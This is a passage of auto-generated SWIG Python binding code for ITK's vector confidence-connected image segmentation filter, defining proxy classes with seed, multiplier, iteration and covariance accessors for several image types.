return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUC3_ClearSeeds(self)
def SetMultiplier(self, _arg: 'double const') -> "void":
"""SetMultiplier(itkVectorConfidenceConnectedImageFilterICVF43IUC3 self, double const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUC3_SetMultiplier(self, _arg)
def GetMultiplier(self) -> "double":
"""GetMultiplier(itkVectorConfidenceConnectedImageFilterICVF43IUC3 self) -> double"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUC3_GetMultiplier(self)
def SetNumberOfIterations(self, _arg: 'unsigned int const') -> "void":
"""SetNumberOfIterations(itkVectorConfidenceConnectedImageFilterICVF43IUC3 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUC3_SetNumberOfIterations(self, _arg)
def GetNumberOfIterations(self) -> "unsigned int":
"""GetNumberOfIterations(itkVectorConfidenceConnectedImageFilterICVF43IUC3 self) -> unsigned int"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUC3_GetNumberOfIterations(self)
def SetReplaceValue(self, _arg: 'unsigned char const') -> "void":
"""SetReplaceValue(itkVectorConfidenceConnectedImageFilterICVF43IUC3 self, unsigned char const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUC3_SetReplaceValue(self, _arg)
def GetReplaceValue(self) -> "unsigned char":
"""GetReplaceValue(itkVectorConfidenceConnectedImageFilterICVF43IUC3 self) -> unsigned char"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUC3_GetReplaceValue(self)
def SetInitialNeighborhoodRadius(self, _arg: 'unsigned int const') -> "void":
"""SetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterICVF43IUC3 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUC3_SetInitialNeighborhoodRadius(self, _arg)
def GetInitialNeighborhoodRadius(self) -> "unsigned int const &":
"""GetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterICVF43IUC3 self) -> unsigned int const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUC3_GetInitialNeighborhoodRadius(self)
def GetMean(self) -> "vnl_vectorD const &":
"""GetMean(itkVectorConfidenceConnectedImageFilterICVF43IUC3 self) -> vnl_vectorD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUC3_GetMean(self)
def GetCovariance(self) -> "vnl_matrixD const &":
"""GetCovariance(itkVectorConfidenceConnectedImageFilterICVF43IUC3 self) -> vnl_matrixD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUC3_GetCovariance(self)
def GetSeeds(self) -> "std::vector< itkIndex3,std::allocator< itkIndex3 > > const &":
"""GetSeeds(itkVectorConfidenceConnectedImageFilterICVF43IUC3 self) -> std::vector< itkIndex3,std::allocator< itkIndex3 > > const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUC3_GetSeeds(self)
OutputEqualityComparableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUC3_OutputEqualityComparableCheck
InputHasNumericTraitsCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUC3_InputHasNumericTraitsCheck
OutputOStreamWritableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUC3_OutputOStreamWritableCheck
__swig_destroy__ = _itkVectorConfidenceConnectedImageFilterPython.delete_itkVectorConfidenceConnectedImageFilterICVF43IUC3
def cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterICVF43IUC3 *":
"""cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterICVF43IUC3"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUC3_cast(obj)
cast = staticmethod(cast)
def New(*args, **kargs):
"""New() -> itkVectorConfidenceConnectedImageFilterICVF43IUC3
Create a new object of the class itkVectorConfidenceConnectedImageFilterICVF43IUC3 and set the input and the parameters if some
named or non-named arguments are passed to that method.
New() tries to assign all the non named parameters to the input of the new objects - the
first non named parameter in the first input, etc.
The named parameters are used by calling the method with the same name prefixed by 'Set'.
Ex:
itkVectorConfidenceConnectedImageFilterICVF43IUC3.New( reader, Threshold=10 )
is (most of the time) equivalent to:
obj = itkVectorConfidenceConnectedImageFilterICVF43IUC3.New()
obj.SetInput( 0, reader.GetOutput() )
obj.SetThreshold( 10 )
"""
obj = itkVectorConfidenceConnectedImageFilterICVF43IUC3.__New_orig__()
import itkTemplate
itkTemplate.New(obj, *args, **kargs)
return obj
New = staticmethod(New)
itkVectorConfidenceConnectedImageFilterICVF43IUC3.Clone = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUC3_Clone, None, itkVectorConfidenceConnectedImageFilterICVF43IUC3)
itkVectorConfidenceConnectedImageFilterICVF43IUC3.PrintSelf = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUC3_PrintSelf, None, itkVectorConfidenceConnectedImageFilterICVF43IUC3)
itkVectorConfidenceConnectedImageFilterICVF43IUC3.SetSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUC3_SetSeed, None, itkVectorConfidenceConnectedImageFilterICVF43IUC3)
itkVectorConfidenceConnectedImageFilterICVF43IUC3.AddSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUC3_AddSeed, None, itkVectorConfidenceConnectedImageFilterICVF43IUC3)
itkVectorConfidenceConnectedImageFilterICVF43IUC3.ClearSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUC3_ClearSeeds, None, itkVectorConfidenceConnectedImageFilterICVF43IUC3)
itkVectorConfidenceConnectedImageFilterICVF43IUC3.SetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUC3_SetMultiplier, None, itkVectorConfidenceConnectedImageFilterICVF43IUC3)
itkVectorConfidenceConnectedImageFilterICVF43IUC3.GetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUC3_GetMultiplier, None, itkVectorConfidenceConnectedImageFilterICVF43IUC3)
itkVectorConfidenceConnectedImageFilterICVF43IUC3.SetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUC3_SetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterICVF43IUC3)
itkVectorConfidenceConnectedImageFilterICVF43IUC3.GetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUC3_GetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterICVF43IUC3)
itkVectorConfidenceConnectedImageFilterICVF43IUC3.SetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUC3_SetReplaceValue, None, itkVectorConfidenceConnectedImageFilterICVF43IUC3)
itkVectorConfidenceConnectedImageFilterICVF43IUC3.GetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUC3_GetReplaceValue, None, itkVectorConfidenceConnectedImageFilterICVF43IUC3)
itkVectorConfidenceConnectedImageFilterICVF43IUC3.SetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUC3_SetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterICVF43IUC3)
itkVectorConfidenceConnectedImageFilterICVF43IUC3.GetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUC3_GetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterICVF43IUC3)
itkVectorConfidenceConnectedImageFilterICVF43IUC3.GetMean = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUC3_GetMean, None, itkVectorConfidenceConnectedImageFilterICVF43IUC3)
itkVectorConfidenceConnectedImageFilterICVF43IUC3.GetCovariance = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUC3_GetCovariance, None, itkVectorConfidenceConnectedImageFilterICVF43IUC3)
itkVectorConfidenceConnectedImageFilterICVF43IUC3.GetSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUC3_GetSeeds, None, itkVectorConfidenceConnectedImageFilterICVF43IUC3)
itkVectorConfidenceConnectedImageFilterICVF43IUC3_swigregister = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUC3_swigregister
itkVectorConfidenceConnectedImageFilterICVF43IUC3_swigregister(itkVectorConfidenceConnectedImageFilterICVF43IUC3)
def itkVectorConfidenceConnectedImageFilterICVF43IUC3___New_orig__() -> "itkVectorConfidenceConnectedImageFilterICVF43IUC3_Pointer":
"""itkVectorConfidenceConnectedImageFilterICVF43IUC3___New_orig__() -> itkVectorConfidenceConnectedImageFilterICVF43IUC3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUC3___New_orig__()
def itkVectorConfidenceConnectedImageFilterICVF43IUC3_cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterICVF43IUC3 *":
"""itkVectorConfidenceConnectedImageFilterICVF43IUC3_cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterICVF43IUC3"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUC3_cast(obj)
class itkVectorConfidenceConnectedImageFilterICVF43IUS3(itkImageToImageFilterBPython.itkImageToImageFilterICVF43IUS3):
"""Proxy of C++ itkVectorConfidenceConnectedImageFilterICVF43IUS3 class."""
thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
def __init__(self, *args, **kwargs):
raise AttributeError("No constructor defined")
__repr__ = _swig_repr
def __New_orig__() -> "itkVectorConfidenceConnectedImageFilterICVF43IUS3_Pointer":
"""__New_orig__() -> itkVectorConfidenceConnectedImageFilterICVF43IUS3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUS3___New_orig__()
__New_orig__ = staticmethod(__New_orig__)
def Clone(self) -> "itkVectorConfidenceConnectedImageFilterICVF43IUS3_Pointer":
"""Clone(itkVectorConfidenceConnectedImageFilterICVF43IUS3 self) -> itkVectorConfidenceConnectedImageFilterICVF43IUS3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUS3_Clone(self)
def PrintSelf(self, os: 'ostream', indent: 'itkIndent') -> "void":
"""PrintSelf(itkVectorConfidenceConnectedImageFilterICVF43IUS3 self, ostream os, itkIndent indent)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUS3_PrintSelf(self, os, indent)
def SetSeed(self, seed: 'itkIndex3') -> "void":
"""SetSeed(itkVectorConfidenceConnectedImageFilterICVF43IUS3 self, itkIndex3 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUS3_SetSeed(self, seed)
def AddSeed(self, seed: 'itkIndex3') -> "void":
"""AddSeed(itkVectorConfidenceConnectedImageFilterICVF43IUS3 self, itkIndex3 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUS3_AddSeed(self, seed)
def ClearSeeds(self) -> "void":
"""ClearSeeds(itkVectorConfidenceConnectedImageFilterICVF43IUS3 self)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUS3_ClearSeeds(self)
def SetMultiplier(self, _arg: 'double const') -> "void":
"""SetMultiplier(itkVectorConfidenceConnectedImageFilterICVF43IUS3 self, double const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUS3_SetMultiplier(self, _arg)
def GetMultiplier(self) -> "double":
"""GetMultiplier(itkVectorConfidenceConnectedImageFilterICVF43IUS3 self) -> double"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUS3_GetMultiplier(self)
def SetNumberOfIterations(self, _arg: 'unsigned int const') -> "void":
"""SetNumberOfIterations(itkVectorConfidenceConnectedImageFilterICVF43IUS3 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUS3_SetNumberOfIterations(self, _arg)
def GetNumberOfIterations(self) -> "unsigned int":
"""GetNumberOfIterations(itkVectorConfidenceConnectedImageFilterICVF43IUS3 self) -> unsigned int"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUS3_GetNumberOfIterations(self)
def SetReplaceValue(self, _arg: 'unsigned short const') -> "void":
"""SetReplaceValue(itkVectorConfidenceConnectedImageFilterICVF43IUS3 self, unsigned short const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUS3_SetReplaceValue(self, _arg)
def GetReplaceValue(self) -> "unsigned short":
"""GetReplaceValue(itkVectorConfidenceConnectedImageFilterICVF43IUS3 self) -> unsigned short"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUS3_GetReplaceValue(self)
def SetInitialNeighborhoodRadius(self, _arg: 'unsigned int const') -> "void":
"""SetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterICVF43IUS3 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUS3_SetInitialNeighborhoodRadius(self, _arg)
def GetInitialNeighborhoodRadius(self) -> "unsigned int const &":
"""GetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterICVF43IUS3 self) -> unsigned int const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUS3_GetInitialNeighborhoodRadius(self)
def GetMean(self) -> "vnl_vectorD const &":
"""GetMean(itkVectorConfidenceConnectedImageFilterICVF43IUS3 self) -> vnl_vectorD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUS3_GetMean(self)
def GetCovariance(self) -> "vnl_matrixD const &":
"""GetCovariance(itkVectorConfidenceConnectedImageFilterICVF43IUS3 self) -> vnl_matrixD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUS3_GetCovariance(self)
def GetSeeds(self) -> "std::vector< itkIndex3,std::allocator< itkIndex3 > > const &":
"""GetSeeds(itkVectorConfidenceConnectedImageFilterICVF43IUS3 self) -> std::vector< itkIndex3,std::allocator< itkIndex3 > > const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUS3_GetSeeds(self)
OutputEqualityComparableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUS3_OutputEqualityComparableCheck
InputHasNumericTraitsCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUS3_InputHasNumericTraitsCheck
OutputOStreamWritableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUS3_OutputOStreamWritableCheck
__swig_destroy__ = _itkVectorConfidenceConnectedImageFilterPython.delete_itkVectorConfidenceConnectedImageFilterICVF43IUS3
def cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterICVF43IUS3 *":
"""cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterICVF43IUS3"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUS3_cast(obj)
cast = staticmethod(cast)
def New(*args, **kargs):
"""New() -> itkVectorConfidenceConnectedImageFilterICVF43IUS3
Create a new object of the class itkVectorConfidenceConnectedImageFilterICVF43IUS3 and set the input and the parameters if some
named or non-named arguments are passed to that method.
New() tries to assign all the non named parameters to the input of the new objects - the
first non named parameter in the first input, etc.
The named parameters are used by calling the method with the same name prefixed by 'Set'.
Ex:
itkVectorConfidenceConnectedImageFilterICVF43IUS3.New( reader, Threshold=10 )
is (most of the time) equivalent to:
obj = itkVectorConfidenceConnectedImageFilterICVF43IUS3.New()
obj.SetInput( 0, reader.GetOutput() )
obj.SetThreshold( 10 )
"""
obj = itkVectorConfidenceConnectedImageFilterICVF43IUS3.__New_orig__()
import itkTemplate
itkTemplate.New(obj, *args, **kargs)
return obj
New = staticmethod(New)
itkVectorConfidenceConnectedImageFilterICVF43IUS3.Clone = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUS3_Clone, None, itkVectorConfidenceConnectedImageFilterICVF43IUS3)
itkVectorConfidenceConnectedImageFilterICVF43IUS3.PrintSelf = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUS3_PrintSelf, None, itkVectorConfidenceConnectedImageFilterICVF43IUS3)
itkVectorConfidenceConnectedImageFilterICVF43IUS3.SetSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUS3_SetSeed, None, itkVectorConfidenceConnectedImageFilterICVF43IUS3)
itkVectorConfidenceConnectedImageFilterICVF43IUS3.AddSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUS3_AddSeed, None, itkVectorConfidenceConnectedImageFilterICVF43IUS3)
itkVectorConfidenceConnectedImageFilterICVF43IUS3.ClearSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUS3_ClearSeeds, None, itkVectorConfidenceConnectedImageFilterICVF43IUS3)
itkVectorConfidenceConnectedImageFilterICVF43IUS3.SetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUS3_SetMultiplier, None, itkVectorConfidenceConnectedImageFilterICVF43IUS3)
itkVectorConfidenceConnectedImageFilterICVF43IUS3.GetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUS3_GetMultiplier, None, itkVectorConfidenceConnectedImageFilterICVF43IUS3)
itkVectorConfidenceConnectedImageFilterICVF43IUS3.SetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUS3_SetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterICVF43IUS3)
itkVectorConfidenceConnectedImageFilterICVF43IUS3.GetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUS3_GetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterICVF43IUS3)
itkVectorConfidenceConnectedImageFilterICVF43IUS3.SetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUS3_SetReplaceValue, None, itkVectorConfidenceConnectedImageFilterICVF43IUS3)
itkVectorConfidenceConnectedImageFilterICVF43IUS3.GetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUS3_GetReplaceValue, None, itkVectorConfidenceConnectedImageFilterICVF43IUS3)
itkVectorConfidenceConnectedImageFilterICVF43IUS3.SetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUS3_SetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterICVF43IUS3)
itkVectorConfidenceConnectedImageFilterICVF43IUS3.GetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUS3_GetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterICVF43IUS3)
itkVectorConfidenceConnectedImageFilterICVF43IUS3.GetMean = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUS3_GetMean, None, itkVectorConfidenceConnectedImageFilterICVF43IUS3)
itkVectorConfidenceConnectedImageFilterICVF43IUS3.GetCovariance = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUS3_GetCovariance, None, itkVectorConfidenceConnectedImageFilterICVF43IUS3)
itkVectorConfidenceConnectedImageFilterICVF43IUS3.GetSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUS3_GetSeeds, None, itkVectorConfidenceConnectedImageFilterICVF43IUS3)
itkVectorConfidenceConnectedImageFilterICVF43IUS3_swigregister = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUS3_swigregister
itkVectorConfidenceConnectedImageFilterICVF43IUS3_swigregister(itkVectorConfidenceConnectedImageFilterICVF43IUS3)
def itkVectorConfidenceConnectedImageFilterICVF43IUS3___New_orig__() -> "itkVectorConfidenceConnectedImageFilterICVF43IUS3_Pointer":
"""itkVectorConfidenceConnectedImageFilterICVF43IUS3___New_orig__() -> itkVectorConfidenceConnectedImageFilterICVF43IUS3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUS3___New_orig__()
def itkVectorConfidenceConnectedImageFilterICVF43IUS3_cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterICVF43IUS3 *":
"""itkVectorConfidenceConnectedImageFilterICVF43IUS3_cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterICVF43IUS3"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUS3_cast(obj)
class itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2(itkImageToImageFilterBPython.itkImageToImageFilterIRGBAUC2ISS2):
"""Proxy of C++ itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2 class."""
thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
def __init__(self, *args, **kwargs):
raise AttributeError("No constructor defined")
__repr__ = _swig_repr
def __New_orig__() -> "itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2_Pointer":
"""__New_orig__() -> itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2___New_orig__()
__New_orig__ = staticmethod(__New_orig__)
def Clone(self) -> "itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2_Pointer":
"""Clone(itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2 self) -> itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2_Clone(self)
def PrintSelf(self, os: 'ostream', indent: 'itkIndent') -> "void":
"""PrintSelf(itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2 self, ostream os, itkIndent indent)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2_PrintSelf(self, os, indent)
def SetSeed(self, seed: 'itkIndex2') -> "void":
"""SetSeed(itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2 self, itkIndex2 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2_SetSeed(self, seed)
def AddSeed(self, seed: 'itkIndex2') -> "void":
"""AddSeed(itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2 self, itkIndex2 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2_AddSeed(self, seed)
def ClearSeeds(self) -> "void":
"""ClearSeeds(itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2 self)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2_ClearSeeds(self)
def SetMultiplier(self, _arg: 'double const') -> "void":
"""SetMultiplier(itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2 self, double const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2_SetMultiplier(self, _arg)
def GetMultiplier(self) -> "double":
"""GetMultiplier(itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2 self) -> double"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2_GetMultiplier(self)
def SetNumberOfIterations(self, _arg: 'unsigned int const') -> "void":
"""SetNumberOfIterations(itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2_SetNumberOfIterations(self, _arg)
def GetNumberOfIterations(self) -> "unsigned int":
"""GetNumberOfIterations(itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2 self) -> unsigned int"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2_GetNumberOfIterations(self)
def SetReplaceValue(self, _arg: 'short const') -> "void":
"""SetReplaceValue(itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2 self, short const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2_SetReplaceValue(self, _arg)
def GetReplaceValue(self) -> "short":
"""GetReplaceValue(itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2 self) -> short"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2_GetReplaceValue(self)
def SetInitialNeighborhoodRadius(self, _arg: 'unsigned int const') -> "void":
"""SetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2_SetInitialNeighborhoodRadius(self, _arg)
def GetInitialNeighborhoodRadius(self) -> "unsigned int const &":
"""GetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2 self) -> unsigned int const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2_GetInitialNeighborhoodRadius(self)
def GetMean(self) -> "vnl_vectorD const &":
"""GetMean(itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2 self) -> vnl_vectorD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2_GetMean(self)
def GetCovariance(self) -> "vnl_matrixD const &":
"""GetCovariance(itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2 self) -> vnl_matrixD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2_GetCovariance(self)
def GetSeeds(self) -> "std::vector< itkIndex2,std::allocator< itkIndex2 > > const &":
"""GetSeeds(itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2 self) -> std::vector< itkIndex2,std::allocator< itkIndex2 > > const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2_GetSeeds(self)
OutputEqualityComparableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2_OutputEqualityComparableCheck
InputHasNumericTraitsCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2_InputHasNumericTraitsCheck
OutputOStreamWritableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2_OutputOStreamWritableCheck
__swig_destroy__ = _itkVectorConfidenceConnectedImageFilterPython.delete_itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2
def cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2 *":
"""cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2"""
